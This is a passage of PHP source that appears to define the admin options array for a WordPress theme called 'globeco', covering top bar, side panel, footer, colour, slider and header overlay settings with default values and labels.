'type' => 'checkbox',
),
'content_items' => array(
'type' => 'group',
'addrowclasses' => 'grid-col-12 group expander sortable box',
'title' => esc_html__('Top Bar Info', 'globeco' ),
'button_title' => esc_html__('Add new info row', 'globeco' ),
'layout' => array(
'icon' => array(
'type' => 'select',
'addrowclasses' => 'grid-col-3 fai',
'source' => 'fa',
'title' => esc_html__('Select the icon', 'globeco' )
),
'title' => array(
'type' => 'text',
'atts' => 'data-role="title"',
'addrowclasses' => 'grid-col-3',
'title' => esc_html__('Write main info', 'globeco' ),
),
'url' => array(
'type' => 'text',
'addrowclasses' => 'grid-col-3',
'title' => esc_html__('Write URL', 'globeco' ),
),
'link_type' => array(
'type' => 'select',
'addrowclasses' => 'grid-col-3 fai',
'source' => array(
'link' => array( esc_html__( 'Link', 'globeco' ), true, '' ),
'mailto:' => array( esc_html__( 'Email', 'globeco' ), false, '' ),
'skype:' => array( esc_html__( 'Skype', 'globeco' ), false, '' ),
'tel:' => array( esc_html__( 'Phone', 'globeco' ), false, '' ),
),
'title' => esc_html__('Select link type', 'globeco' )
),
),
),
'background_color' => array(
'title' => esc_html__( 'Customize Background', 'globeco' ),
'atts' => 'data-default-color="' . GLOBECO_FIRST_COLOR . '"',
'value' => GLOBECO_FIRST_COLOR,
'addrowclasses' => 'new_row grid-col-3',
'type' => 'text',
),
'font_color' => array(
'title' => esc_html__( 'Font Color', 'globeco' ),
'atts' => 'data-default-color="#ffffff"',
'value' => '#ffffff',
'addrowclasses' => 'grid-col-3',
'type' => 'text',
),
'hover_font_color' => array(
'title' => esc_html__( 'Hover Color', 'globeco' ),
'atts' => 'data-default-color="#ffffff"',
'value' => '#ffffff',
'addrowclasses' => 'grid-col-3',
'type' => 'text',
),
'background_opacity' => array(
'type' => 'number',
'title' => esc_html__( 'Background Opacity (%)', 'globeco' ),
'placeholder' => esc_attr__( 'In percents', 'globeco' ),
'value' => '100',
'addrowclasses' => 'grid-col-3',
),
'border' => array(
'type' => 'fields',
'addrowclasses' => 'grid-col-12 box inside-box groups',
'layout' => '%border_layout%',
),
'spacings' => array(
'title' => esc_html__( 'Add Spacings (px)', 'globeco' ),
'type' => 'margins',
'addrowclasses' => 'new_row grid-col-12 two-inputs',
'value' => array(
'top' => array('placeholder' => esc_attr__( 'Top', 'globeco' ), 'value' => '0'),
'bottom' => array('placeholder' => esc_attr__( 'Bottom', 'globeco' ), 'value' => '0'),
),
),
),
),
)
),
'side_panel_cont' => array(
'type' => 'tab',
'icon' => array('fa', 'arrow-circle-o-up'),
'title' => esc_html__( 'Sidebar', 'globeco' ),
'layout' => array(
'side_panel' => array(
'type' => 'fields',
'addrowclasses' => 'inside-box groups grid-col-12 box main-box',
'layout' => array(
'enable' => array(
'title' => esc_html__( 'Side Panel', 'globeco' ),
'addrowclasses' => 'alt checkbox grid-col-12',
'type' => 'checkbox',
),
// 1st row
'theme' => array(
'title' => esc_html__( 'Color Variation', 'globeco' ),
'addrowclasses' => 'grid-col-12',
'type' => 'select',
'source' => array(
'dark' => array( esc_html__( 'Dark', 'globeco' ), true, '' ),
'light' => array( esc_html__( 'Light', 'globeco' ), false, '' ),
),
),
'place' => array(
'title' => esc_html__( 'Menu Icon Location', 'globeco' ),
'type' => 'radio',
'subtype' => 'images',
'addrowclasses' => 'grid-col-12',
'value' => array(
'topbar_left' =>array( esc_html__( 'TopBar (Left)', 'globeco' ), false, '',
'/img/top-hamb-left.png' ),
'topbar_right' => array( esc_html__( 'TopBar (Right)', 'globeco' ), true, '', '/img/top-hamb-right.png' ),
'menu_left' =>array( esc_html__( 'Menu (Left)', 'globeco' ), false, '', '/img/hamb-left.png' ),
'menu_right' =>array( esc_html__( 'Menu (Right)', 'globeco' ), false, '', '/img/hamb-right.png' ),
),
),
'position' => array(
'title' => esc_html__('Side Panel Position', 'globeco' ),
'type' => 'radio',
'subtype' => 'images',
'addrowclasses' => 'grid-col-12',
'value' => array(
'left' => array( esc_html__('Left', 'globeco' ), false, '', '/img/left.png' ),
'right' => array( esc_html__('Right', 'globeco' ), true, '', '/img/right.png' ),
),
),
'sidebar' => array(
'title' => esc_html__('Select the Sidebar Area', 'globeco' ),
'type' => 'select',
'addrowclasses' => 'new_row grid-col-12',
'source' => 'sidebars',
'value' => 'side_panel',
),
'appear' => array(
'title' => esc_html__( 'Animation Format', 'globeco' ),
'type' => 'select',
'addrowclasses' => 'grid-col-12',
'source' => array(
'fade' => array( esc_html__( 'Fade', 'globeco' ), true ),
'slide' => array( esc_html__( 'Slide', 'globeco' ), false ),
'pull' => array( esc_html__( 'Pull', 'globeco' ), false ),
),
),
'logo_dark' => array(
'title' => esc_html__( 'Logo (Dark)', 'globeco' ),
'type' => 'media',
'url-atts' => 'readonly',
'addrowclasses' => 'grid-col-6',
'layout' => array(
'is_high_dpi' => array(
'title' => esc_html__( 'High-Resolution logo', 'globeco' ),
'addrowclasses' => 'checkbox',
'type' => 'checkbox',
),
),
),
'logo_light' => array(
'title' => esc_html__( 'Logo (Light)', 'globeco' ),
'type' => 'media',
'url-atts' => 'readonly',
'addrowclasses' => 'grid-col-6',
'layout' => array(
'is_high_dpi' => array(
'title' => esc_html__( 'High-Resolution logo', 'globeco' ),
'addrowclasses' => 'checkbox',
'type' => 'checkbox',
),
),
),
'logo_position' => array(
'title' => esc_html__( 'Logo position', 'globeco' ),
'addrowclasses' => 'grid-col-12',
'type' => 'radio',
'value' => array(
'left' => array( esc_html__( 'Left', 'globeco' ), false, '' ),
'center' =>array( esc_html__( 'Center', 'globeco' ), false, '' ),
'right' =>array( esc_html__( 'Right', 'globeco' ), true, '' ),
),
),
'logo_dimensions' => array(
'title' => esc_html__( 'Logo Dimensions', 'globeco' ),
'type' => 'dimensions',
'addrowclasses' => 'grid-col-12',
'value' => array(
'width' => array('placeholder' => esc_attr__( 'Width', 'globeco' ), 'value' => ''),
'height' => array('placeholder' => esc_attr__( 'Height', 'globeco' ), 'value' => ''),
),
),
'close_position' => array(
'title' => esc_html__( 'Close button position', 'globeco' ),
'addrowclasses' => 'grid-col-12',
'type' => 'radio',
'value' => array(
'left' => array( esc_html__( 'Left', 'globeco' ), true, '' ),
'right' =>array( esc_html__( 'Right', 'globeco' ), false, '' ),
),
),
// 4th row
'bg_dark' => array(
'title' => esc_html__( 'Background (Dark)', 'globeco' ),
'type' => 'media',
'url-atts' => 'readonly',
'addrowclasses' => 'grid-col-6',
),
'bg_light' => array(
'title' => esc_html__( 'Background (Light)', 'globeco' ),
'type' => 'media',
'url-atts' => 'readonly',
'addrowclasses' => 'grid-col-6',
),
// 5th row
'bg_size' => array(
'title' => esc_html__( 'Background size', 'globeco' ),
'addrowclasses' => 'grid-col-4',
'type' => 'radio',
'value' => array(
'cover' => array( esc_html__( 'Cover', 'globeco' ), true, '' ),
'contain' =>array( esc_html__( 'Contain', 'globeco' ), false, '' ),
),
),
'bg_opacity' => array(
'type' => 'number',
'title' => esc_html__( 'Background Opacity', 'globeco' ),
'placeholder' => esc_attr__( 'In percents', 'globeco' ),
'addrowclasses' => 'grid-col-4',
'value' => '100'
),
'bg_position' => array(
'title' => esc_html__( 'Background Position', 'globeco' ),
'addrowclasses' => 'grid-col-4',
'cols' => 3,
'type' => 'radio',
'value' => array(
'tl'=> array( '', false ),
'tc'=> array( '', false ),
'tr'=> array( '', false ),
'cl'=> array( '', false ),
'cc'=> array( '', true ),
'cr'=> array( '', false ),
'bl'=> array( '', false ),
'bc'=> array( '', false ),
'br'=> array( '', false ),
),
),
'bg_color' => array(
'title' => esc_html__( 'Background Color', 'globeco' ),
'atts' => 'data-default-color="' . GLOBECO_FIRST_COLOR . '"',
'addrowclasses' => 'grid-col-6',
'value' => GLOBECO_FIRST_COLOR,
'type' => 'text',
),
'bg_font_color' => array(
'title' => esc_html__( 'Font color', 'globeco' ),
'atts' => 'data-default-color="#ffffff"',
'addrowclasses' => 'grid-col-6',
'value' => '#ffffff',
'type' => 'text',
),
// 6th row
'overlay' => array(
'type' => 'fields',
'addrowclasses' => 'grid-col-12 box inside-box groups',
'layout' => array(
'type' => array(
'title' => esc_html__( 'Overlay color', 'globeco' ),
'addrowclasses' => 'grid-col-4',
'type' => 'select',
'source' => array(
'none' => array( esc_html__( 'None', 'globeco' ), true, 'd:opacity;d:color;d:gradient;' ),
'color' => array( esc_html__( 'Color', 'globeco' ), false, 'e:opacity;e:color;d:gradient;' ),
'gradient' => array( esc_html__('Gradient', 'globeco' ), false, 'e:opacity;d:color;e:gradient;' )
),
),
'color' => array(
'title' => esc_html__( 'Color', 'globeco' ),
'atts' => 'data-default-color="' . GLOBECO_FIRST_COLOR . '"',
'addrowclasses' => 'grid-col-4',
'value' => GLOBECO_FIRST_COLOR,
'type' => 'text',
),
'opacity' => array(
'type' => 'number',
'title' => esc_html__( 'Opacity (%)', 'globeco' ),
'placeholder' => esc_attr__( 'In percents', 'globeco' ),
'value' => '40',
'addrowclasses' => 'grid-col-4',
),
'gradient' => array(
'type' => 'fields',
'addrowclasses' => 'grid-col-12 disable box inside-box groups',
'layout' => '%gradient_layout%',
),
),
),
'bottom_bar' => array(
'type' => 'fields',
'addrowclasses' => 'inside-box groups grid-col-12 box',
'layout' => array(
'info_icons' => array(
'type' => 'group',
'addrowclasses' => 'group sortable grid-col-12 box',
'title' => esc_html__('Information', 'globeco' ),
'button_title' => esc_html__('Add new information row', 'globeco' ),
'button_icon' => 'fa fa-plus',
'layout' => array(
'title' => array(
'type' => 'text',
'atts' => 'data-role="title"',
'addrowclasses' => 'grid-col-6',
'title' => esc_html__('Title', 'globeco' ),
),
'icon' => array(
'type' => 'select',
'addrowclasses' => 'fai grid-col-6',
'source' => 'fa',
'title' => esc_html__('Icon', 'globeco' )
),
)
),
),
),
),
),
)
),
)
),
// end of sections
'footer_options' => array(
'type' => 'section',
'title' => esc_html__('Footer', 'globeco' ),
'icon' => array('fa', 'list-alt'),
'layout' => array(
'footer_cont' => array(
'type' => 'tab',
'init' => 'open',
'icon' => array( 'fa', 'fa-book' ),
'title' => esc_html__( 'Footer', 'globeco' ),
'layout' => array(
'footer' => array(
'type' => 'fields',
'addrowclasses' => 'inside-box groups grid-col-12 box main-box',
'layout' => array(
'logo_enable' => array(
'title' => esc_html__( 'Enable Footer Logo', 'globeco' ),
'addrowclasses' => 'checkbox grid-col-12',
'type' => 'checkbox',
'atts' => 'checked',
),
'menu_enable' => array(
'title' => esc_html__( 'Copyrights Menu', 'globeco' ),
'addrowclasses' => 'checkbox grid-col-12',
'type' => 'checkbox',
'atts' => 'data-options="e:override_menu;e:custom_menu;e:menu_position;"',
),
'fixed' => array(
'title' => esc_html__( 'Apply Fixed Footer Style', 'globeco' ),
'addrowclasses' => 'checkbox grid-col-12',
'type' => 'checkbox',
),
'wide' => array(
'title' => esc_html__( 'Apply Full-Width Footer', 'globeco' ),
'addrowclasses' => 'checkbox grid-col-12',
'type' => 'checkbox',
),
'layout' => array(
'type' => 'select',
'title' => esc_html__( 'Select a layout', 'globeco' ),
'addrowclasses' => 'grid-col-6',
'source' => array(
'1' => array( esc_html__( '1/1 Column', 'globeco' ), false ),
'2' => array( esc_html__( '2/2 Column', 'globeco' ), false ),
'3' => array( esc_html__( '3/3 Column', 'globeco' ), false ),
'4' => array( esc_html__( '4/4 Column', 'globeco' ), true ),
'two-three' => array( esc_html__( '2/3 + 1/3 Column', 'globeco' ), false ),
'one-two' => array( esc_html__( '1/3 + 2/3 Column', 'globeco' ), false ),
'one-three' => array( esc_html__( '1/4 + 3/4 Column', 'globeco' ), false ),
'one-one-two' => array( esc_html__( '1/4 + 1/4 + 2/4 Column', 'globeco' ), false ),
'two-one-one' => array( esc_html__( '2/4 + 1/4 + 1/4 Column', 'globeco' ), false ),
'one-two-one' => array( esc_html__( '1/4 + 2/4 + 1/4 Column', 'globeco' ), false ),
),
),
'sidebar' => array(
'title' => esc_html__('Select Footer\'s Sidebar Area', 'globeco' ),
'type' => 'select',
'addrowclasses' => 'grid-col-6',
'source' => 'sidebars',
'value' => 'footer',
),
'text_alignment' => array(
'type' => 'select',
'title' => esc_html__( 'Text Alignment', 'globeco' ),
'addrowclasses' => 'grid-col-6',
'source' => array(
'left' => array( esc_html__( 'Left', 'globeco' ), true, '' ),
'center' => array( esc_html__( 'Center', 'globeco' ), false, '' ),
'right' => array( esc_html__( 'Right', 'globeco' ), false, '' ),
),
),
'copyrights_text' => array(
'title' => esc_html__( 'Copyrights content', 'globeco' ),
'type' => 'textarea',
'addrowclasses' => 'grid-col-12 full_row',
'value' => 'Copyright © 2019',
'atts' => 'rows="6"',
),
'footer_info_text' => array(
'title' => esc_html__( 'Footer info content', 'globeco' ),
'type' => 'textarea',
'addrowclasses' => 'grid-col-12 full_row',
'value' => '',
'atts' => 'rows="6"',
),
'background_image' => array(
'type' => 'fields',
'addrowclasses' => 'box grid-col-12 inside-box groups',
'layout' => '%image_layout%',
),
'background_color' => array(
'title' => esc_html__( 'Background Color', 'globeco' ),
'atts' => 'data-default-color="#ffffff"',
'value' => '#ffffff',
'addrowclasses' => 'grid-col-4',
'type' => 'text'
),
'title_color' => array(
'title' => esc_html__( 'Titles Color', 'globeco' ),
'atts' => 'data-default-color="#021a47"',
'value' => '#021a47',
'addrowclasses' => 'grid-col-4',
'type' => 'text',
),
'font_color' => array(
'title' => esc_html__( 'Font Color', 'globeco' ),
'atts' => 'data-default-color="#7f7f8a"',
'value' => '#7f7f8a',
'addrowclasses' => 'grid-col-4',
'type' => 'text',
),
'copyrights_background_color' => array(
'title' => esc_html__( 'Background Color (Copyrights)', 'globeco' ),
'atts' => 'data-default-color="#1b2048"',
'value' => '#1b2048',
'addrowclasses' => 'grid-col-3',
'type' => 'text'
),
'copyrights_font_color' => array(
'title' => esc_html__( 'Font color (Copyrights)', 'globeco' ),
'atts' => 'data-default-color="#adb1d3"',
'value' => '#adb1d3',
'addrowclasses' => 'grid-col-3',
'type' => 'text',
),
'copyrights_hover_color' => array(
'title' => esc_html__( 'Hover color (Copyrights)', 'globeco' ),
'atts' => 'data-default-color="#ffffff"',
'value' => '#ffffff',
'addrowclasses' => 'grid-col-3',
'type' => 'text',
),
'copyrights_info_color' => array(
'title' => esc_html__( 'Font color (Footer Info)', 'globeco' ),
'atts' => 'data-default-color="#ffffff"',
'value' => '#ffffff',
'addrowclasses' => 'grid-col-3',
'type' => 'text',
),
'pattern_image' => array(
'type' => 'fields',
'title' => esc_html__( 'Pattern Image', 'globeco' ),
'addrowclasses' => 'box grid-col-12 inside-box groups',
'layout' => '%image_layout%',
),
'overlay' => array(
'type' => 'fields',
'addrowclasses' => 'grid-col-12 box inside-box groups',
'layout' => array(
'type' => array(
'title' => esc_html__( 'Color overlay', 'globeco' ),
'addrowclasses' => 'grid-col-4',
'type' => 'select',
'source' => array(
'none' => array( esc_html__( 'None', 'globeco' ), true, 'd:opacity;d:color;d:gradient;' ),
'color' => array( esc_html__( 'Color', 'globeco' ), false, 'e:opacity;e:color;d:gradient;' ),
'gradient' => array( esc_html__('Gradient', 'globeco' ), false, 'e:opacity;d:color;e:gradient;' )
),
),
'color' => array(
'title' => esc_html__( 'Color', 'globeco' ),
'atts' => 'data-default-color="' . GLOBECO_FIRST_COLOR . '"',
'addrowclasses' => 'grid-col-4',
'value' => GLOBECO_FIRST_COLOR,
'type' => 'text',
'customizer' => array( 'show' => true )
),
'opacity' => array(
'type' => 'number',
'title' => esc_html__( 'Opacity (%)', 'globeco' ),
'placeholder' => esc_attr__( 'In percents', 'globeco' ),
'value' => '40',
'addrowclasses' => 'grid-col-4',
),
'gradient' => array(
'type' => 'fields',
'addrowclasses' => 'grid-col-12 disable box inside-box groups',
'layout' => '%gradient_layout%',
),
),
),
'border' => array(
'type' => 'fields',
'addrowclasses' => 'grid-col-12 box inside-box groups',
'layout' => '%border_layout%',
),
'instagram_feed' => array(
'title' => esc_html__( 'Add Instagram Feed', 'globeco' ),
'addrowclasses' => 'checkbox grid-col-6',
'type' => 'checkbox',
'atts' => 'data-options="e:instagram_feed_shortcode;e:instagram_feed_full_width;"',
),
'instagram_feed_full_width' => array(
'title' => esc_html__( 'Apply Full-Width Feed', 'globeco' ),
'addrowclasses' => 'disable checkbox grid-col-12',
'type' => 'checkbox',
),
'instagram_feed_shortcode' => array(
'title' => esc_html__( 'Instagram Shortcode', 'globeco' ),
'addrowclasses' => 'disable grid-col-12 full_row',
'type' => 'textarea',
'atts' => 'rows="3"',
'default' => '',
'value' => '[instagram-feed cols=4 num=4 imagepadding=0 imagepaddingunit=px showheader=false showbutton=true showfollow=true]'
),
'spacings' => array(
'title' => esc_html__( 'Add Spacings (px)', 'globeco' ),
'type' => 'margins',
'addrowclasses' => 'new_row grid-col-12 two-inputs',
'value' => array(
'top' => array('placeholder' => esc_attr__( 'Top', 'globeco' ), 'value' => '17'),
'bottom' => array('placeholder' => esc_attr__( 'Bottom', 'globeco' ), 'value' => '44'),
),
),
),
),
),
),
)
), // end of sections
'styling_options' => array(
'type' => 'section',
'title' => esc_html__('Styling options', 'globeco' ),
'icon' => array('fa', 'paint-brush'),
'layout' => array(
'theme_colors' => array(
'type' => 'tab',
'init' => 'open',
'icon' => array('fa', 'calendar-plus-o'),
'title' => esc_html__( 'Theme colors', 'globeco' ),
'layout' => array(
'theme-first-color' => array(
'title' => esc_html__( 'Main color', 'globeco' ),
'atts' => 'data-default-color="' . GLOBECO_FIRST_COLOR . '"',
'value' => GLOBECO_FIRST_COLOR,
'addrowclasses' => 'grid-col-4',
'type' => 'text',
),
'theme-second-color' => array(
'title' => esc_html__( 'Second color', 'globeco' ),
'atts' => 'data-default-color="' . GLOBECO_SECOND_COLOR . '"',
'value' => GLOBECO_SECOND_COLOR,
'addrowclasses' => 'grid-col-4',
'type' => 'text',
),
)
)
),
), // end of sections
'layout_options' => array(
'type' => 'section',
'title' => esc_html__('Page layouts', 'globeco' ),
'icon' => array('fa', 'columns'),
'layout' => array(
'layout_options_homepage' => array(
'type' => 'tab',
'init' => 'open',
'icon' => array('fa', 'arrow-circle-o-up'),
'title' => esc_html__( 'Home', 'globeco' ),
'layout' => array(
'home-slider-type' => array(
'title' => esc_html__('Slider', 'globeco' ),
'type' => 'radio',
'value' => array(
'none' => array( esc_html__('None', 'globeco' ), true, 'd:home-header-slider-options;d:slidersection-start;d:static_img_section' ),
'img-slider'=> array( esc_html__('Image Slider', 'globeco' ), false, 'e:home-header-slider-options;d:slidersection-start;d:static_img_section' ),
'video-slider' => array( esc_html__('Video Slider', 'globeco' ), false, 'd:home-header-slider-options;e:slidersection-start;d:static_img_section' ),
'stat-img-slider' => array( esc_html__('Static image', 'globeco' ), false, 'd:home-header-slider-options;d:slidersection-start;e:static_img_section' ),
),
),
'home-header-slider-options' => array(
'title' => esc_html__( 'Slider shortcode', 'globeco' ),
'addrowclasses' => 'disable',
'type' => 'text',
'value' => '[rev_slider alias="default"]',
),
'slidersection-start' => array(
'title' => esc_html__( 'Video Slider Setting', 'globeco' ),
'type' => 'fields',
'addrowclasses' => 'disable groups',
'layout' => array(
'slider_switch' => array(
'title' => esc_html__( 'Slider', 'globeco' ),
'addrowclasses' => 'grid-col-12 checkbox',
'type' => 'checkbox',
'atts' => 'data-options="e:slider_shortcode;"',
),
'slider_shortcode' => array(
'title' => esc_html__( 'Slider shortcode', 'globeco' ),
'addrowclasses' => 'grid-col-12 disable box',
'type' => 'text',
),
'set_video_header_height' => array(
'title' => esc_html__( 'Set Video height', 'globeco' ),
'type' => 'checkbox',
'addrowclasses' => 'grid-col-12 checkbox',
'atts' => 'data-options="e:video_header_height"',
),
'video_header_height' => array(
'title' => esc_html__( 'Video height', 'globeco' ),
'addrowclasses' => 'grid-col-12 disable box',
'type' => 'number',
'value' => '600',
),
'video_type' => array(
'title' => esc_html__('Video type', 'globeco' ),
'addrowclasses' => 'grid-col-12',
'type' => 'radio',
'value' => array(
'self_hosted' => array( esc_html__('Self-hosted', 'globeco' ), true, 'e:sh_source;d:youtube_source;d:vimeo_source' ),
'youtube'=> array( esc_html__('Youtube clip', 'globeco' ), false, 'd:sh_source;e:youtube_source;d:vimeo_source' ),
'vimeo' => array( esc_html__('Vimeo clip', 'globeco' ), false, 'd:sh_source;d:youtube_source;e:vimeo_source' ),
),
),
'sh_source' => array(
'title' => esc_html__( 'Add video', 'globeco' ),
'addrowclasses' => 'grid-col-12 box',
'url-atts' => 'readonly',
'type' => 'media',
),
'youtube_source' => array(
'title' => esc_html__( 'Youtube video code', 'globeco' ),
'addrowclasses' => 'grid-col-12 disable box',
'type' => 'text',
),
'vimeo_source' => array(
'title' => esc_html__( 'Vimeo embed url', 'globeco' ),
'addrowclasses' => 'grid-col-12 disable box',
'type' => 'text',
),
'color_overlay_type' => array(
'title' => esc_html__( 'Overlay', 'globeco' ),
'addrowclasses' => 'grid-col-4',
'type' => 'select',
'source' => array(
'none' => array( esc_html__( 'None', 'globeco' ), true, 'd:overlay_color;d:slider_gradient_settings;d:color_overlay_opacity;'),
'color' => array( esc_html__( 'Color', 'globeco' ), false, 'e:overlay_color;d:slider_gradient_settings;e:color_overlay_opacity;'),
'gradient' =>array( esc_html__( 'Gradient', 'globeco' ), false, 'd:overlay_color;e:slider_gradient_settings;e:color_overlay_opacity;'),
),
),
'overlay_color' => array(
'title' => esc_html__( 'Color', 'globeco' ),
'addrowclasses' => 'grid-col-12',
'atts' => 'data-default-color=""',
'addrowclasses' => 'box',
'type' => 'text',
),
'color_overlay_opacity' => array(
'type' => 'number',
'addrowclasses' => 'grid-col-4 box',
'title' => esc_html__( 'Opacity', 'globeco' ),
'placeholder' => esc_attr__( 'In percents', 'globeco' ),
'value' => '40'
),
'slider_gradient_settings' => array(
'title' => esc_html__( 'Gradient settings', 'globeco' ),
'addrowclasses' => 'grid-col-12',
'type' => 'fields',
'addrowclasses' => 'disable box groups',
'layout' => array(
'first_color' => array(
'type' => 'text',
'addrowclasses' => 'grid-col-6',
'title' => esc_html__( 'From', 'globeco' ),
'atts' => 'data-default-color=""',
),
'second_color' => array(
'type' => 'text',
'addrowclasses' => 'grid-col-6',
'title' => esc_html__( 'To', 'globeco' ),
'atts' => 'data-default-color=""',
),
'first_color_opacity' => array(
'type' => 'number',
'addrowclasses' => 'grid-col-6',
'title' => esc_html__( 'From (Opacity %)', 'globeco' ),
'value' => '100',
),
'second_color_opacity' => array(
'type' => 'number',
'addrowclasses' => 'grid-col-6',
'title' => esc_html__( 'To (Opacity %)', 'globeco' ),
'value' => '100',
),
'type' => array(
'title' => esc_html__( 'Gradient type', 'globeco' ),
'addrowclasses' => 'grid-col-12',
'type' => 'radio',
'value' => array(
'linear' => array( esc_html__( 'Linear', 'globeco' ), true, 'e:linear_settings;d:radial_settings' ),
'radial' =>array( esc_html__( 'Radial', 'globeco' ), false, 'd:linear_settings;e:radial_settings' ),
),
),
'linear_settings' => array(
'title' => esc_html__( 'Linear settings', 'globeco' ),
'type' => 'fields',
'addrowclasses' => 'disable',
'layout' => array(
'angle' => array(
'type' => 'number',
'title' => esc_html__( 'Angle', 'globeco' ),
'value' => '45',
),
)
),
'radial_settings' => array(
'title' => esc_html__( 'Radial settings', 'globeco' ),
'type' => 'fields',
'addrowclasses' => 'disable',
'layout' => array(
'shape_settings' => array(
'title' => esc_html__( 'Shape', 'globeco' ),
'type' => 'radio',
'value' => array(
'simple' => array( esc_html__( 'Simple', 'globeco' ), true, 'e:shape;d:size;d:size_keyword;' ),
'extended' =>array( esc_html__( 'Extended', 'globeco' ), false, 'd:shape;e:size;e:size_keyword;' ),
),
),
'shape' => array(
'title' => esc_html__( 'Gradient type', 'globeco' ),
'type' => 'radio',
'value' => array(
'ellipse' => array( esc_html__( 'Ellipse', 'globeco' ), true ),
'circle' =>array( esc_html__( 'Circle', 'globeco' ), false ),
),
),
'size_keyword' => array(
'type' => 'select',
'title' => esc_html__( 'Size keyword', 'globeco' ),
'addrowclasses' => 'disable',
'source' => array(
'closest-side' => array(esc_html__( 'Closest side', 'globeco' ), false),
'farthest-side' => array(esc_html__( 'Farthest side', 'globeco' ), false),
'closest-corner' => array(esc_html__( 'Closest corner', 'globeco' ), false),
'farthest-corner' => array(esc_html__( 'Farthest corner', 'globeco' ), true),
),
),
'size' => array(
'type' => 'text',
'addrowclasses' => 'disable',
'title' => esc_html__( 'Size', 'globeco' ),
'atts' => 'placeholder="'.esc_attr__( 'Two space separated percent values, for example (60% 55%)', 'globeco' ).'"',
),
)
)
),
),
'use_pattern' => array(
'title' => esc_html__( 'Use pattern image', 'globeco' ),
'type' => 'checkbox',
'addrowclasses' => 'grid-col-12 checkbox',
'atts' => 'data-options="e:pattern_image"',
),
'pattern_image' => array(
'title' => esc_html__( 'Pattern image', 'globeco' ),
'addrowclasses' => 'grid-col-12 disable box',
'url-atts' => 'readonly',
'type' => 'media',
),
),
),// end of video-section
'static_img_section' => array(
'title' => esc_html__( 'Static image Slider Setting', 'globeco' ),
'type' => 'fields',
'addrowclasses' => 'groups',
'layout' => array(
'home_header_image_options' => array(
'title' => esc_html__( 'Static image', 'globeco' ),
'type' => 'media',
'url-atts' => 'readonly',
'layout' => array(
'is_high_dpi' => array(
'title' => esc_html__( 'High-Resolution image', 'globeco' ),
'type' => 'checkbox',
'addrowclasses' => 'checkbox',
),
),
),
'set_static_image_height' => array(
'title' => esc_html__( 'Set Image height', 'globeco' ),
'addrowclasses' => 'grid-col-12 checkbox',
'type' => 'checkbox',
'atts' => 'data-options="e:static_image_height;"',
),
'static_image_height' => array(
'title' => esc_html__( 'Static Image Height', 'globeco' ),
'addrowclasses' => 'grid-col-12 disable box',
'type' => 'number',
'default' => '600',
),
'static_customize_colors' => array(
'title' => esc_html__( 'Customize colors', 'globeco' ),
'addrowclasses' => 'grid-col-12 checkbox',
'type' => 'checkbox',
'atts' => 'data-options="e:img_header_color_overlay_type;e:img_header_overlay_color;e:img_header_color_overlay_opacity;"',
),
'img_header_color_overlay_type' => array(
'title' => esc_html__( 'Color overlay type', 'globeco' ),
'type' => 'select',
'addrowclasses' => 'grid-col-12 box disable',
'source' => array(
'color' => array( esc_html__( 'Color', 'globeco' ), true, 'e:img_header_overlay_color;d:img_header_gradient_settings;' ),
'gradient' => array( esc_html__( 'Gradient', 'globeco' ), false, 'd:img_header_overlay_color;e:img_header_gradient_settings;' )
),
),
'img_header_overlay_color' => array(
'title' => esc_html__( 'Overlay color', 'globeco' ),
'atts' => 'data-default-color="' . GLOBECO_FIRST_COLOR . '"',
'value' => GLOBECO_FIRST_COLOR,
'addrowclasses' => 'box disable',
'type' => 'text',
),
'img_header_gradient_settings' => array(
'title' => esc_html__( 'Gradient Settings', 'globeco' ),
'type' => 'fields',
'addrowclasses' => 'disable box groups',
'layout' => array(
'first_color' => array(
'type' => 'text',
'title' => esc_html__( 'From', 'globeco' ),
'atts' => 'data-default-color=""',
),
'second_color' => array(
'type' => 'text',
'title' => esc_html__( 'To', 'globeco' ),
'atts' => 'data-default-color=""',
),
'first_color_opacity' => array(
'type' => 'number',
'title' => esc_html__( 'From (Opacity %)', 'globeco' ),
'value' => '100',
),
'second_color_opacity' => array(
'type' => 'number',
'title' => esc_html__( 'To (Opacity %)', 'globeco' ),
'value' => '100',
),
'type' => array(
'title' => esc_html__( 'Gradient type', 'globeco' ),
'type' => 'radio',
'value' => array(
'linear' => array( esc_html__( 'Linear', 'globeco' ), true, 'e:img_header_gradient_linear_settings;d:img_header_gradient_radial_settings' ),
'radial' =>array( esc_html__( 'Radial', 'globeco' ), false, 'd:img_header_gradient_linear_settings;e:img_header_gradient_radial_settings' ),
),
),
'linear_settings' => array(
'title' => esc_html__( 'Linear settings', 'globeco' ),
'type' => 'fields',
'addrowclasses' => 'disable',
'layout' => array(
'angle' => array(
'type' => 'number',
'title' => esc_html__( 'Angle', 'globeco' ),
'value' => '45',
),
)
),
'radial_settings' => array(
'title' => esc_html__( 'Radial settings', 'globeco' ),
'type' => 'fields',
'addrowclasses' => 'disable',
'layout' => array(
'shape_settings' => array(
'title' => esc_html__( 'Shape', 'globeco' ),
'type' => 'radio',
'value' => array(
'simple' => array( esc_html__( 'Simple', 'globeco' ), true, 'e:img_header_gradient_shape;d:img_header_gradient_size;d:img_header_gradient_size_keyword;' ),
'extended' =>array( esc_html__( 'Extended', 'globeco' ), false, 'd:img_header_gradient_shape;e:img_header_gradient_size;e:img_header_gradient_size_keyword;' ),
),
),
'shape' => array(
'title' => esc_html__( 'Gradient type', 'globeco' ),
'type' => 'radio',
'value' => array(
'ellipse' => array( esc_html__( 'Ellipse', 'globeco' ), true ),
'circle' =>array( esc_html__( 'Circle', 'globeco' ), false ),
),
),
'img_header_gradient_size_keyword' => array(
'type' => 'select',
'title' => esc_html__( 'Size keyword', 'globeco' ),
'addrowclasses' => 'disable',
'source' => array(
'closest-side' => array(esc_html__( 'Closest side', 'globeco' ), false),
'farthest-side' => array(esc_html__( 'Farthest side', 'globeco' ), false),
'closest-corner' => array(esc_html__( 'Closest corner', 'globeco' ), false),
'farthest-corner' => array(esc_html__( 'Farthest corner', 'globeco' ), true),
),
),
'img_header_gradient_size' => array(
'type' => 'text',
'addrowclasses' => 'disable',
'title' => esc_html__( 'Size', 'globeco' ),
'atts' => 'placeholder="'.esc_attr__( 'Two space separated percent values, for example (60% 55%)', 'globeco' ).'"',
),
)
)
)
),
'img_header_color_overlay_opacity' => array(
'type' => 'number',
'title' => esc_html__( 'Opacity', 'globeco' ),
'addrowclasses' => 'box disable',
'placeholder' => esc_attr__( 'In percents', 'globeco' ),
'value' => '40'
),
'img_header_use_pattern' => array(
'title' => esc_html__( 'Add pattern', 'globeco' ),
'addrowclasses' => 'grid-col-12 checkbox',
'type' => 'checkbox',
'atts' => 'data-options="e:img_header_pattern_image;"',
),
